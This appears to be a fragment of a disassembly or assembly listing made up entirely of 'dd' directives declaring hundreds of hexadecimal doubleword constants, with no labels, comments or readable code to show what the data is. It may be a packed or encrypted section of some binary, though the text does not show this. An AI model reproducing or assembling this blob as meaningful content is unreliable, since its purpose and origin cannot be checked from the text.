		dd 844DD5FCh, 8A80D4DBh, 1B93B00h, 3A155849h, 0CAEF025Bh
		dd 2B877328h, 0B5561640h, 48C3BC01h, 38208E40h,	619D3330h
		dd 243F5121h, 0AB0CFC94h, 0C73DDBF4h, 3849AA54h, 759E1400h
		dd 7423D63Dh, 0EFD30A77h, 0E01C5BDEh, 4C4B78F0h, 0D1893961h
		dd 0A6E870B4h, 184057F9h, 0BFB55D12h, 32A31C00h, 2A0AFCh
		dd 6A4F59A1h, 0DB0D4DB6h, 0A65C7D00h, 0EB3B982Dh, 16BF5C10h
		dd 7ED40C2Dh, 0CB59C700h, 0DE048h, 1CD1BE85h, 7418EC6Dh
		dd 3709B501h, 6A654CC4h, 0C74F60C2h, 1C2F00F1h,	1E3157CBh
		dd 0C2001B0Ch, 15619BBAh, 1127F9Eh, 19F74569h, 203AC057h
		dd 0EE01AF8Eh, 33BEB896h, 2EEC1BB3h, 47B100A3h,	70848D10h
		dd 492CF27Dh, 0E100F58Fh, 0C03BFA5Ah, 82DC055Ch, 0C47057h
		dd 0B1DB31C0h, 0D4001442h, 0B2046B13h, 267F25h,	50B5128Ch
		dd 71F7AA82h, 473E7900h, 1CC63921h, 0B84803F3h,	0A0FBA8B7h
		dd 613850A7h, 181CD81Bh, 0E140028Bh, 214C4147h,	0F01F5649h
		dd 0CAB59100h, 0E8166033h, 658F1200h, 2B86A53Dh, 63FFFCB9h
		dd 218A5242h, 43E1A493h, 0D658C45Bh, 0B0AEBA0Ch, 4C14F7h
		dd 8AF91926h, 0C959E51Eh, 945A9C01h, 867C011Dh,	31744ADCh
		dd 0A3781A67h, 0D33C8053h, 0D58327E0h, 0DB96016Fh, 39056E7Fh
		dd 82443102h, 5F85A9A9h, 1A590093h, 4903C3DCh, 7327687Bh
		dd 0DF0CD82Dh, 8B1905B1h, 80E04091h, 56958D10h,	8049643Ch
		dd 45037E11h, 4CE4E187h, 0AF0F4B2Ch, 8405732h, 84C338BFh
		dd 953AB40Fh, 15B604A6h, 0DBCA1C90h, 0D1B804DCh, 899FD94Dh
		dd 14EDD444h, 9C69C800h, 10348D7Dh, 0F8FD2E13h,	959200C4h
		dd 513E980Fh, 235E0C00h, 9FBE1DFFh, 0DDE0059h, 0A83761AFh
		dd 0C2E4535Dh, 1C35D624h, 34145031h, 0A53230h, 84D11903h
		dd 296A82E6h, 0C7B9700h, 0FFC1D5A6h, 0AE940714h, 0F0987481h
		dd 0AB3A8270h, 2210AD0Eh, 5A8F6029h, 385D6F19h,	0F700C544h
		dd 7756972Fh, 0DA00E7F3h, 9111754Ch, 0CEA83Ah, 33B8B7Ah
		dd 0CAD97F2Bh, 0B35D0512h, 0E2E79842h, 712C60B1h, 0F3875C7Dh
		dd 0D9824907h, 10C77002h, 5528F474h, 0DB0090A2h, 0F1FE9E21h
		dd 0D919A0h, 29F8D886h,	94F5FAB6h, 0FFB46E00h, 76826C73h
		dd 86CE0380h, 0D7B33953h, 0FBEE2800h, 3ACD6DCh,	0D34D002Dh
		dd 7CB9B633h, 55EE0F4Eh, 535E0A00h, 14C5F044h, 8DFC1C59h
		dd 97180A8h, 2145D35Ah,	420CE67Dh, 808911ADh, 47B20215h
		dd 0EE7E334Fh, 0B0B4C8E0h, 0FF1D2600h, 745ACB03h, 79A003E8h
		dd 83F3BDF7h, 456330B8h, 0BE07A890h, 89646971h,	37DC0209h
		dd 32D24070h, 0EAA9F68Bh, 7B3F185Dh, 2F91502Dh,	4603E2F0h
		dd 1E982221h, 0E7C9B072h, 84D7244Bh, 640415A4h,	820CCBC3h
		dd 0A964C7CCh, 0D020290Fh, 6523BBB3h, 873FAE06h, 788681Eh
		dd 0D8D16045h, 480B980h, 4D8639C6h, 0E05C5F2Eh,	0CEC88830h
		dd 0B59207BEh, 0F3FE4DBh, 88005BC9h, 9D860D58h,	0B8FBF800h
		dd 3F439845h, 327000CAh, 0A7F7840Ch, 4A070A35h,	0C5B1600Fh
		dd 609E117h, 1B94B5Ch, 0D6BF6DC9h, 0D4A2E03Fh, 9806CB0Ch
		dd 2C9C36B0h, 0DE7480h,	93B6207Ah, 1F7D5EAAh, 66DB18C0h
		dd 0A4B922h, 0DA3EF49Dh, 3B0637D4h, 80116F38h, 152BB825h
		dd 895477h, 0B345FBAFh,	324691C5h, 4098DC00h, 929C22E1h
		dd 7FA20049h, 2885D264h, 8F00A1F9h, 0D06E6246h,	2CECDAh
		dd 9D8ADB94h, 4C3F0A3Ch, 0F3716100h, 0DD0653A9h, 401500B4h
		dd 1424827Dh, 7E00C8A8h, 0A781B018h, 0FC10DAC3h, 1427FB4h
		dd 23F2583Bh, 0F41BD8A3h, 4D30CD06h, 3EAD2882h,	631D041Ch
		dd 80BC118Ah, 0C502FD23h, 0AEA94007h, 0DA60A3FAh, 0F8D569Fh
		dd 791678F1h, 87EF2B00h, 4E004B62h, 1B40DF73h, 421FBA0h
		dd 0D760A78h, 5280AF36h, 0AD6FE5h, 0AAF8DDB4h, 2CC49AE4h
		dd 5B123900h, 0BCC6644Eh, 0EBF70E33h, 2EC3931Fh, 39F83192h
		dd 4D7DF6C4h, 86731E00h, 9AAC8EAAh, 0E3D00091h,	14D83167h
		dd 7009EBBh, 0F9895D5Bh, 0EAD385h, 87D280EFh, 35333F15h
		dd 0FA442600h, 1D202FE6h, 8CA04C5Ch, 0CED20E00h, 0BA93E436h
		dd 0F922EDEDh, 5B1883D7h, 8884C6DCh, 73186A4Dh,	0C8AA5036h
		dd 3CB1F2F5h, 0A6008510h, 35A15D52h, 536012DAh,	0BBCD230h
		dd 73E700ECh, 0A582880Ah, 0E100FF5Dh, 0E0A2A7EDh, 195C98D5h
		dd 595135EBh, 0DE1CF0A6h, 14A2A2Eh, 0A4834200h,	1C982B52h
		dd 99695h, 4429B56Eh, 0D61CE271h, 8E7CF0D5h, 0C0912061h
		dd 1D244B3Fh, 0F6D3E888h, 0B3850012h, 0F664085Dh, 721C8050h
		dd 93404DBFh, 0CE56FA18h, 680E5C7Ch, 0F7870400h, 5429FCE8h
		dd 0EB91CC18h, 0FA20A50h, 277F92B8h, 0BC5C2580h, 0E90131FCh
		dd 90645E33h, 13CD9F1Bh, 184B4ECCh, 1857E4E2h, 0E8788ED0h
		dd 50CA840Eh, 2D274067h, 0E8CE0B16h, 561A1F0Ah,	4387CEA8h
		dd 0C8E8F540h, 77078CBCh, 0B967D505h, 87E404Fh,	36A3E9Ch
		dd 8F2F01D4h, 6047526Bh, 0B8C0AA04h, 3AA95E22h,	4E017100h
		dd 0CB201F6Eh, 0A29300B1h, 0BAAC9097h, 0E40072AFh, 6B165381h
		dd 2804AEh, 5548244Ah, 92880302h, 0F5866800h, 30AEE03Ch
		dd 0E67D10h, 0CC9E3DBEh, 1CBAEFC1h, 2032EB30h, 14A5DC65h
		dd 20EA3FC3h, 180555E1h, 0FF37DF2h, 98F5FB72h, 71BB6B81h
		dd 0FEC9BA60h, 2507CE71h, 0E59820A7h, 80A17E82h, 5BB6A608h
		dd 0BC480054h, 8F51D2FEh, 2C5CAD4Ch, 6F1960A9h,	7534D62h
		dd 74059614h, 0DDF5803Fh, 60C097A7h, 376656E4h,	30907722h
		dd 0FB889EA8h, 7E00E326h, 6B97B3BEh, 159333B7h,	0B450BC7Dh
		dd 0A609E806h, 0C9074805h, 519425FFh, 9AC33630h, 93D5302Eh
		dd 48E11A60h, 0B1325E00h, 1FF06BA5h, 0D3F009h, 803492A2h
		dd 2D9FDB88h, 9C542B00h, 0D056C404h, 1E947A3Bh,	0AADA7F50h
		dd 0DCF10420h, 37CED987h, 4E46A110h, 63C237Ah, 4FEE4DE1h
		dd 0A104851Ch, 1073DB99h, 0EFD9102Ah, 456C3500h, 4C888CE9h
		dd 0D40C1000h, 54B07CD3h, 0CDA63B42h, 0A21EC480h, 3A77FA1h
		dd 0E775C600h, 0B6C25587h, 29FD0199h, 9C9B937Bh, 8D6BE045h
		dd 8C2B23h, 3AE0D5F1h, 428521BEh, 50B9757h, 0C0FFC9F0h
		dd 0EEB4597Fh, 0CBA7B8A0h, 4679B800h, 2F9B6486h, 4818C1E2h
		dd 4030965Bh, 1816EF84h, 0C37D74F0h, 20392F29h,	75D1DB82h
		dd 0A0081580h, 0A5457034h, 0F14D7E01h, 420179Bh, 6705050Fh
		dd 60209427h, 35256Ah, 0C710C899h, 0AAEE79Bh, 0C5F98D87h
		dd 2800A10h, 0EC240EA2h, 1140B669h, 0C03B1D9Dh,	0E3ACCB23h
		dd 8EDF0799h, 0C8ED039Bh, 69851981h, 0A510F22Fh, 38E8C75h
		dd 2F95CA7Ah, 7C8CF834h, 981942E5h, 119B1D40h, 0F7633D9Dh
		dd 2F808069h, 6081F39Eh, 2BB540E6h, 8307F402h, 0AF3DD37Eh
		dd 1CCF0700h, 32CC1FA2h
		dd 0D51140EDh, 1468C0DFh, 0E6793000h, 5B23060Dh, 4F273D2h
		dd 16EE3E9h, 108B2856h,	0A80DCE71h, 88787EFh, 0ECA4497Ah
		dd 0EFDBB7Ch, 0C7D32D02h, 8735EF54h, 31D1A424h,	1FD2B33Ch
		dd 0A0527310h, 4EF9793h, 7704D5B2h, 430B78D2h, 0A439815Ah
		dd 0B6CAE8DEh, 20F75240h, 0DCC257C3h, 433ED5A2h, 6041C2C3h
		dd 99809513h, 0E45E41CFh, 28C0C048h, 64BB2ACEh,	460D00F2h
		dd 0B328D823h, 91003A0Fh, 0C914AEFBh, 3E498E2h,	2ADC62B2h
		dd 1F0709Bh, 0AE057D3Ah, 6DEBD03Dh, 428D2030h, 0B8C823F9h
		dd 503F48EEh, 0CF0AB144h, 4019E84Ch, 0B96F1h, 198BB23Fh
		dd 1A916676h, 1822F914h, 50F42014h, 0E72F1547h,	8005D3F6h
		dd 406C93A6h, 0C0B085A2h, 23519FA0h, 3EE59188h,	1734802Ch
		dd 0AA8C2B3h, 0D920A535h, 0BC96110Ah, 72DB3C8h,	0CE22D3D8h
		dd 138F20F2h, 0B824DDA4h, 0BD00046Eh, 400E4601h, 9442007Ah
		dd 32D1EE6Fh, 0B901D43Eh, 67EA63C8h, 0FFE0C58Fh, 0EB130B91h
		dd 2D80B2D0h, 0D93275Fh, 0E55D7D0Ah, 99F3206Dh,	7F0B28C4h
		dd 42BCFB08h, 0F8BF977h, 7BAAD905h, 0F74078CAh,	1880D243h
		dd 70B70E06h, 3A36808Fh, 5B1D698Eh, 92263300h, 98B0ED0h
		dd 0C8B66034h, 1C6CF23Dh, 52A3DB00h, 68FE7174h,	58383CAAh
		dd 20245274h, 12F8BB81h, 443EFA11h, 8600AE8Eh, 0DB1F5B27h
		dd 977CE0h, 6781443Ah, 9BE77B91h, 0BBF4B900h, 0DC1E279Ah
		dd 3B907C21h, 2D81EAA5h, 83CBD96Dh, 8850E0D5h, 81269710h
		dd 0D09BB3C7h, 31870DC4h, 1F4C918Fh, 76D06636h,	12D07E00h
		dd 24B1E93Bh, 274A000h,	396FCD95h, 0BA7800A2h, 6897C3F1h
		dd 7E284138h, 0DD00848Eh, 743E5A9Ah, 0F7D1B083h, 97EE2050h
		dd 7D50775Ch, 84B94746h, 0E6388408h, 0A3AF2315h, 6BCE340h
		dd 49BA5141h, 0F71F287Bh, 0A38514FDh, 801E292Ah, 0EF1F395Dh
		dd 8DE61981h, 0DDC0CD5Eh, 0B44D1485h, 0FB0F986Bh, 0B607EDB0h
		dd 27C49260h, 1E632098h, 50EBA721h, 18767CAh, 0DFFF4B97h
		dd 62101FEFh, 0E21FE71Bh, 3EFB5731h, 1600E57h, 0F1C03A5Bh
		dd 205E4C72h, 92E0BA21h, 479349D2h, 6626C4E6h, 3A024528h
		dd 6818358Fh, 3E433EF2h, 3485CFCBh, 9220785Ch, 5D8E6542h
		dd 0DFFE83C0h, 8A8FF11Ch, 70C0662Ah, 0DD485F4Ah, 0CAC0474Dh
		dd 6E04096h, 11F00A3Ch,	0F1EF24F7h, 0CC206935h,	320A828h
		dd 0D43F043Ch, 7CFB7650h, 0C040AEC2h, 0C9225240h, 888FFD0Ah
		dd 807364EEh, 47FFF24Ah, 409ACAE6h, 8C39ABE0h, 2B0114Ch
		dd 4706F2F1h, 24318140h, 1FF2A02Ch, 12406A0Ah, 99A8E060h
		dd 4285EEFDh, 209441D6h, 7A662B08h, 2425491h, 280280D0h
		dd 0EF99B322h, 64F2293Eh, 1596C0A0h, 448501F9h,	40842D9Eh
		dd 8AC7DBACh, 400ACC60h, 77CD004Eh, 11670C71h, 330FC278h
		dd 806AEF36h, 2FB4DC73h, 0F1A339F4h, 19476C00h,	0C796ECBAh
		dd 0ED035F01h, 8781AC4Eh, 72AFD0h, 1E376A89h, 0C620CAEFh
		dd 0AC007F78h, 2710FF5Ch, 7DC7AAE8h, 51A262F7h,	7F0709CBh
		dd 0AE733CD2h, 0C54A8420h, 0EE403338h, 0AFEB1889h, 8FA0185Fh
		dd 59797D30h, 8108C3BCh, 0A551F0AAh, 0BF4331C1h, 10021B2h
		dd 7F661D5h, 0F400807Eh, 0EE2C6E98h, 8A280Ah, 0AF7A3573h
		dd 43A1036Dh, 0C520BB60h, 3BF01Fh, 77AE95CEh, 6A64E48Dh
		dd 0B3A7D407h, 0DC60AA17h, 512C1Fh, 0AD5B3B13h,	29B4EC83h
		dd 1C074677h, 3415B044h, 0B2F99840h, 7758C045h,	0C704CF72h
		dd 41C6EF54h, 0FA0059EAh, 0EC6A30E0h, 7C98BAh, 4AA544FFh
		dd 5992FE4Ch, 87292F0Ch, 6168C4h, 0E0F3418Ah, 8643CBCAh
		dd 2FC5B100h, 501B17AEh, 0E6DF0185h, 4B5E7B03h,	64E1C0A6h
		dd 3400DE73h, 0E4CF6A91h, 0FDE50Eh, 3A1336F1h, 770418E3h
		dd 9CE2640Fh, 1FAFC0C3h, 52B603h, 0B5AC10EAh, 64E0A629h
		dd 256CA700h, 0C1C70B0Eh, 0ED130F30h, 0E9FC9136h, 0D1C003A4h
		dd 600FA841h, 0D88A46E5h, 0C3105C18h, 0FA1C6EE0h, 0EAE80CABh
		dd 0A81D1457h, 4900FB30h, 82CD89DFh, 92C0048h, 0A992D7C5h
		dd 0AE03655Dh, 98623516h, 0EF103EA4h, 81F17600h, 92C0B15Ch
		dd 7BE9AE19h, 6FDC5D18h, 9DC300ACh, 23537EF3h, 0F6001869h
		dd 4D2AE58Eh, 33CEE28h,	4CAA7184h, 38606F78h, 0C4975478h
		dd 900F20D7h, 352F8F03h, 0B095D30Ah, 87CF92h, 0E2F3AFF5h
		dd 1001DBFBh, 94784D18h, 6BFC50h, 2824732Dh, 343EBF90h
		dd 48521112h, 0B784600h, 0E7EE67h, 9723F5B9h, 0B0513730h
		dd 25AB3606h, 0CE05A6Dh, 964180FAh, 35707A80h, 10DC53E4h
		dd 80976C0Ah, 0D765680h, 608F9B2Bh, 29DEF97Eh, 390FDBD9h
		dd 8057362Eh, 94C6BFF4h, 0A089FE37h, 2AA15680h,	9AC9C1Ah
		dd 0E1AEA374h, 46C83F7h, 0FE1800EEh, 10AD180Ch,	76315CAFh
		dd 0E6886150h, 2A0039BCh, 9D800B34h, 0B8C25190h, 80D3C50Ch
		dd 6976949Ch, 0A1ACF3EFh, 6E990002h, 1365E273h,	28E81438h
		dd 26710C0h, 0A6E03478h, 0C066451Fh, 0A217B470h, 0AF05EAE6h
		dd 64D125F7h, 10C9D449h, 2A507A0Ch, 0C70966Fh, 8D78C002h
		dd 0B50E9458h, 0C1460617h, 0F8BA6C6Bh, 0C5CFF050h, 307C7A47h
		dd 8B38F398h, 98C35AE9h, 0E8AA202Dh, 0A0F9A872h, 0DB0EBCh
		dd 23873B69h, 0E58D4147h, 0AF65238h, 88F7B973h,	68121880h
		dd 68586762h, 9D880DAh,	700096C9h, 0C6C3351Dh, 0E10C2491h
		dd 4AD785Dh, 0F29123E9h, 676C90E0h, 2E4878F4h, 0AAE41510h
		dd 0F0EE70B8h, 8F99E91Fh, 0E402550Fh, 3C80426Ch, 0C4786A3h
		dd 0E2F7DF8Ch, 970411E0h, 7B8578Eh, 98FFA483h, 6058BA42h
		dd 7B092096h, 5A00A844h, 0FA626357h, 762D25h, 0AFDBA4FFh
		dd 0E5496B2Bh, 0F5CDCF19h, 4C20CCF0h, 2F2288FBh, 30C8F136h
		dd 971F2118h, 987C4104h, 8818934Ah, 57427411h, 54E00E90h
		dd 0A61D0798h, 2B8CAA00h, 4049612Eh, 0CD53055Ch, 418BCCC7h
		dd 0F83EC080h, 18AF00CBh, 91AC284Dh, 0F21CA088h, 0BEA0A8D9h
		dd 83F833BBh, 0E6E1A5F8h, 0A80C4064h, 0CF7C0604h, 31852533h
		dd 43F8AA0Ch, 0B873F0C8h, 0AEF0C2FEh, 3448CC60h, 3D37CFFCh
		dd 0FA831865h, 1FD9E6B9h, 0C1C08CA4h, 190C9018h, 0E9245CFBh
		dd 18F99436h, 0C9A90448h, 8CCF367h, 1722855Eh, 4011BB4Ah
		dd 31A28330h, 610CC044h, 0F66C80F5h, 644D1F05h,	8021A407h
		dd 430869E3h, 748C524Ch, 18049B48h, 2DF87DF8h, 48EF7F61h
		dd 0AA0144CCh, 0F1580294h, 8A440A7h, 0FA3025B8h, 66908820h
		dd 758D1412h, 206E87Dh,	0C1AD730Bh, 9442F81Dh, 0D6E9C458h
		dd 0B5F0E3BBh, 43CA8B0h, 0C23890DBh, 941FA779h,	43EAD119h
		dd 66791160h, 7609822Bh, 0CF5D10FFh, 0ADB7CB00h, 5EE5C72Eh
		dd 0B83B00BFh, 0A93C37EFh, 0BE1EF721h, 11C38336h, 0C16CCBE0h
		dd 0DA8046CCh, 0ED29F20Fh, 0AE007E67h, 2E69B7B4h, 12FDDE3h
		dd 0A9274799h, 60A0AF68h, 12780D0Eh, 38783EE8h,	0B839F900h
		dd 0D52F17ADh, 9C79CA04h, 0B0920418h, 0D4D6073Ch, 1214A86h
		dd 1D9A4753h, 502ADD41h, 83765A30h, 49DA18A3h, 7D621E10h
		dd 20756031h, 4DADEEA7h, 51139905h, 60052E59h, 37C6239Ch
		dd 0DFBD29C1h, 0BFC20530h, 1C60083Ch, 6849C48h,	0F5203A32h
		dd 2186F6BDh, 0BB8EABC4h, 8C530F0h, 0B53C4E32h,	4FEA8571h
		dd 8FD49C31h, 44A23C48h, 19393F3Dh, 0BE6D00AAh,	0B183A7B7h
		dd 14A875DFh, 58203761h, 0C82B5EC1h, 486D11B7h,	4318F458h
		dd 0DF1F15AFh, 0ADA88394h
		dd 0AB5DC46Bh, 0A521BEF4h, 58F8BC8Ah, 82C91D62h, 202C093Ch
		dd 62195298h, 484CA641h, 23B143BAh, 0AC1C95EDh,	0A9DEC386h
		dd 0E6255214h, 784850A9h, 30EC18A0h, 0C7215142h, 878CD930h
		dd 0C5238469h, 0A7C20446h, 4A18273Ch, 0DCAAD060h, 0A4181050h
		dd 2AC5E347h, 0DC304A4Bh, 8E92E19Ch, 0AEE908D7h, 0A5342184h
		dd 0C46CCF94h, 0FD30B94Ch, 10862ADCh, 8983741Eh, 1A14384Ch
		dd 29D8A615h, 43C2099h,	216D4E4Ch, 7C18515Fh, 6D39EB43h
		dd 0A4CA08C6h, 0CD694712h, 9E3C0168h, 0A5FC4C45h, 30102346h
		dd 84B3C0F5h, 0CA07913h, 1490C42Bh, 0F4006B11h,	0F8C204Eh
		dd 0E2712216h, 2A7F03B1h, 0FC78A324h, 0FF4688C8h, 87DE2600h
		dd 237EF402h, 7128448Ch, 0B7DA4E2Ch, 303F6D0Ch,	722200BDh
		dd 156CC96Ah, 0BC004A58h, 799706B3h, 3E886B6h, 10D6A383h
		dd 1AC0B559h, 0ED0B70ECh, 0F6FBA56Dh, 627E0E45h, 7900772Fh
		dd 0ACEF1986h, 0C19CCA00h, 41E6F57h, 0BA4787Bh,	0BE58ABC7h
		dd 9DA3B80h, 5A03CD84h,	0D8309551h, 47781143h, 0E76C8460h
		dd 60C4FD33h, 810DAB96h, 3F97EC36h, 84E6D800h, 6D61BC86h
		dd 0E8B30680h, 28DEE270h, 0E0581139h, 7E460F20h, 0ABA03EE4h
		dd 2A3EDB00h, 19FF9FEFh, 0A5F45801h, 0D724DF9Ch, 35665181h
		dd 0F13C5F89h, 44245885h, 8F4C2F02h, 102C0ADBh,	32401167h
		dd 0FEEB443Fh, 7865D3F8h, 58402419h, 0B39FE2E9h, 0E759C05Dh
		dd 8BEB0E03h, 29460230h, 51B659BDh, 1888A01Bh, 0EF01DF7Ch
		dd 655BBE5Ah, 0FDF885E1h, 0ABF405B3h, 1631F06h,	9219E2A8h
		dd 7958808Bh, 0D79411D8h, 0F5BC14A4h, 65829472h, 1816A563h
		dd 0E095EE20h, 6F8017FAh, 55A63027h, 775D4D99h,	5B9026Fh
		dd 1400AEDBh, 46C69ED7h, 5CE4A065h, 0BD5D28CDh,	0CE043AB0h
		dd 7702848Dh, 0E0E560C9h, 6FEC831Dh, 0D9E40481h, 9C408FA6h
		dd 400D5531h, 0E745D5A4h, 39E117F1h, 4085A44Ch,	0A61478E3h
		dd 2FCA95Eh, 8F915AF9h,	0F148033h, 1EC69C87h, 2B4C71Eh
		dd 40355660h, 33EFF080h, 252AD8EAh, 2074988Dh, 86B1D100h
		dd 22F9C0B2h, 0CAE67DA5h, 168CEE0h, 0F286C69Dh,	72519CB5h
		dd 0B60C3D51h, 9DC15419h, 791CD630h, 24060494h,	0C44F12Ah
		dd 0C2109781h, 763CF042h, 0ACA4AAh, 242958D5h, 7D99D80Ah
		dd 0F544FF1Fh, 0E450007Eh, 0FBD9E825h, 8E101CB3h, 74E87085h
		dd 0BC15534Bh, 5E88F49h, 78F24106h, 0C07B304Ah,	611C2A47h
		dd 58052885h, 0EE9B2A98h, 0EE08E94h, 796AAD43h,	0E2B6A8E0h
		dd 0BA31277Ch, 768991F4h, 0FC00DAD5h, 71145A8Ch, 7AC8A8CEh
		dd 0F94021EEh, 0C7E507Fh, 46480E89h, 80B56516h,	8F4A524h
		dd 0A93EE7A2h, 203C18B2h, 3E492860h, 0B60900B4h, 8EAD9D76h
		dd 0AE508204h, 453E0BB8h, 0F8448CDh, 4C01880Fh,	265AF1D9h
		dd 340DF49h, 0E28A715Fh, 0F5BD5802h, 0ACA80776h, 623128BCh
		dd 1F7B0FAh, 29C8148Ch,	85409262h, 35D4A0C4h, 1845F6FCh
		dd 68E10E88h, 1D185D46h, 85906FBCh, 0BFAC28D7h,	1C9A0DA8h
		dd 4818118Ch, 460DF2FCh, 10F4FDC0h, 3C20D9DDh, 427C18D2h
		dd 942DE8A6h, 9A83849h,	199DF41Dh, 0C00492Ch, 3C4911F8h
		dd 29810480h, 13008CE2h, 62F2CDEFh, 0A8EB28C0h,	55FBDBh
		dd 5E9CFA25h, 2F23BF60h, 760026F0h, 0BE3519B7h,	61C398E5h
		dd 58EE18E6h, 0BA97E0EAh, 92B010C0h, 74C4CF84h,	3C300BEh
		dd 5C287195h, 66067045h, 94276DDEh, 44604849h, 2C252E0Fh
		dd 83F58B69h, 14C3730Dh, 2C95F740h, 0D8005E3Eh,	742346DDh
		dd 6600E0A9h, 34A4C62Dh, 306C194Ah, 281894E5h, 0DBE8AA55h
		dd 0A7071CF0h, 1B5F07F5h, 69104FD7h, 1A906EBh, 9D5328C5h
		dd 20368AE1h, 0D03DC48h, 4EFBC067h, 0D7B0E04Fh,	2A49C185h
		dd 0C9A6CBFFh, 7412F028h, 5130E154h, 9C5C81Ah, 128E0181h
		dd 850E668h, 766F031h, 5909A2AAh, 62D55092h, 60C39D2Dh
		dd 3DFA9ACh, 0F7CF8051h, 79E0EB37h, 0DE6006CDh,	73625348h
		dd 0DC77001Ch, 2600BE9h, 6D181923h, 846893B9h, 0A6E0CA18h
		dd 8CEB0708h, 79C4CEh, 28D9C4DBh, 12990CA3h, 1858DF0Dh
		dd 27D8CC00h, 0CE80903Ah, 88DFD6h, 2DE79561h, 18F0DC70h
		dd 0A3234A8h, 4C593A00h, 6971A892h, 834D0098h, 7253C68Ah
		dd 110015DCh, 5579961h,	549527F6h, 0A9A4A5h, 0A7E91867h
		dd 1EC230C5h, 9256DF0Fh, 14DB45B3h, 0A4DC10h, 0F5BA5BA8h
		dd 1440EB19h, 9C06AF23h, 320CDB3Eh, 51987D82h, 612CAB50h
		dd 0F3572900h, 1AA75A55h, 0A38E01EBh, 0E742C59Eh, 2815CBB0h
		dd 4C205C49h, 30883C77h, 0E1FFE9E3h, 97BA0214h,	8F5D0855h
		dd 2B369CA0h, 0C0060AB9h, 0A365CF4Fh, 0F9F50919h, 98011C61h
		dd 0BC343868h, 10AB2879h, 3D3B890Eh, 93B6C5D2h,	81B4A408h
		dd 6CF01AB7h, 8883CE92h, 10191DB5h, 43219414h, 60116AF4h
		dd 0EFF6117Fh, 0A0A83A66h, 1814BEB5h, 3C18E16Bh, 4A6714C9h
		dd 70D03228h, 5E088082h, 0A1296B19h, 4C706940h,	20ED62D2h
		dd 9C4B3C90h, 0B27CF4C8h, 0B00ED72Ah, 91222B09h, 429C0109h
		dd 60203313h, 0FB84A8C4h, 0DF1B245Eh, 0F18300B0h, 2551BBF5h
		dd 6C189D0Ch, 0EA4EB140h, 9774A1h, 0F68FCFB6h, 432D4778h
		dd 37969405h, 0A0018C6Ch, 0D70B122Ch, 3CCE0C20h, 9C30B29Eh
		dd 206B4789h, 500CF748h, 8D0E3412h, 0C6A96761h,	18F842h
		dd 258B1232h, 70A8933Ah, 0CF0D704h, 7082516Bh, 8998A076h
		dd 903A468Ah, 6A133E58h, 0D16034D8h, 1599CF16h,	0E70EB083h
		dd 20A30308h, 0FDC35DF0h, 8A551802h, 407B459Eh,	18F20CC8h
		dd 0B1CF6442h, 0AF83E24Fh, 87E02209h, 1E34448Ah, 654B7E4h
		dd 417D2883h, 0A01E0931h, 6701DBEDh, 2EEC50F5h,	0E3092D97h
		dd 84A54C6h, 24802460h,	0E5D4E6ACh, 0FB7B305Bh,	0DDFF07C1h
		dd 60ED1840h, 0E32C4953h, 7A188815h, 0CCF82EDAh, 0AA2D0024h
		dd 0FEA14BF7h, 2483713h, 12C50B4h, 2812FC88h, 0F8C8BCDFh
		dd 3D1DF62h, 0E24E51C6h, 0E8ABEA7h, 0B028190Ch,	18C9BCEBh
		dd 0FB999293h, 0A77F2696h, 48BF00B0h, 0B7E66C74h, 6D2417E4h
		dd 0DB464C03h, 24A74210h, 6F3D6480h, 843A0951h,	195E027Ch
		dd 147030DCh, 1E6C9400h, 3BD14E9h, 1CEC6191h, 80F45D0Ah
		dd 5FF54244h, 55275A00h, 0E6041E9Dh, 2E89A80h, 0DE91F24h
		dd 804032B5h, 19C0DF51h, 0AACEE69Fh, 92270461h,	8041C812h
		dd 0CD38D56Ch, 248F18C9h, 0B8922DE0h, 0FBC6490h, 3DE24014h
		dd 3FF5CE03h, 71673819h, 8CECCB29h, 53B639F6h, 1323888Ah
		dd 96C025Ch, 8048DF62h,	0BC90F030h, 119D3237h, 0A9D70858h
		dd 0A2080C90h, 0A410E183h, 21AA6E19h, 20D402EFh, 0A01A54C9h
		dd 0C2FD3D03h, 9B945F42h, 4C06B819h, 86FA01C5h,	117D12F9h
		dd 297FE4CDh, 96FC6E00h, 9BA5D397h, 17BC0054h, 105DEB62h
		dd 0AA00BB38h, 47497DCEh, 0E460BA3Eh, 0E0E90DEAh, 21581126h
		dd 0A8E4E04Bh, 496F300h, 0A17DDD85h, 0C7790041h, 0C58F3184h
		dd 0E0E8689h, 0E322C270h, 0D85A9AF0h, 2D1FAFh, 3A5FFEAh
		dd 8089BA52h, 0A9900E01h, 0FC96FDF4h, 201D6452h, 0D6F53AC6h
		dd 0EF7C3E01h, 0FE7D4DCCh, 6FD17F0h, 93599709h,	863D11F2h
		dd 8F6E89FBh, 95706CEh,	52427818h, 0D2C278A4h, 8EC1BFAEh
		dd 4F86F061h, 9149FE03h, 0C01D80C3h, 0C856D64Dh, 9C011F11h
		dd 0E4E097B0h, 61F092C5h, 21BC0308h, 0CE3C3880h, 0A49155C0h
		dd 0C700187Dh, 12ABD631h
		dd 0DE6EDE24h, 6854C148h, 806FE403h, 0E099D511h, 37100A52h
		dd 0C0403AEEh, 4A1A0B30h, 813F4C70h, 600700CDh,	12572EC1h
		dd 84A31FA2h, 6F32E80h,	385F69BDh, 612C940Bh, 11A70CBBh
		dd 31B7F016h, 71B839EFh, 0ABC3E00Fh, 11A58800h,	0A3603C43h
		dd 0BA67D82h, 4AE6BDCFh, 0C09ED00h, 130DAB3Bh, 0E98CB19Bh
		dd 22126EC8h, 0A881C33Ch, 0DE74C44Ah, 0BD3D0A18h, 50789810h
		dd 0BB3834h, 0D20BEA4h,	4AEB437Eh, 16B6BA18h, 0F8D49539h
		dd 9E605CEh, 623AE088h,	0D518CFA8h, 88C815D3h, 5FA08C53h
		dd 0A729FBB6h, 5E9DE82Dh, 558B0823h, 0A0264962h, 0F8A706F0h
		dd 572C011Ch, 0F683421Ah, 0F0B04768h, 14E3355Dh, 7E90D8A8h
		dd 7A104D15h, 0A05161C0h, 0D9854F8Ah, 0E4CF898h, 0D5BCBC80h
		dd 0F6104842h, 0DF300349h, 0C2D90A1h, 257BB270h, 2C1F88D0h
		dd 0BBC0F13Ah, 80E7AC3Dh, 0C8A2C0h, 939475B0h, 588F0012h
		dd 3A5B40BAh, 4D517FB0h, 9100E758h, 0B9861410h,	0A89D588h
		dd 9AD48A43h, 0FA9281DCh, 8085BA9Fh, 3A561111h,	244169D8h
		dd 806CB03Ch, 0E3AB680Ch, 0C0C127B3h, 562CADECh, 39310021h
		dd 0D7228450h, 32283EB2h, 50E03BBEh, 9B8B811Ah,	34439F02h
		dd 90BC87D5h, 3A0A88BCh, 11604452h, 0F897BBE1h,	0F1E3151Dh
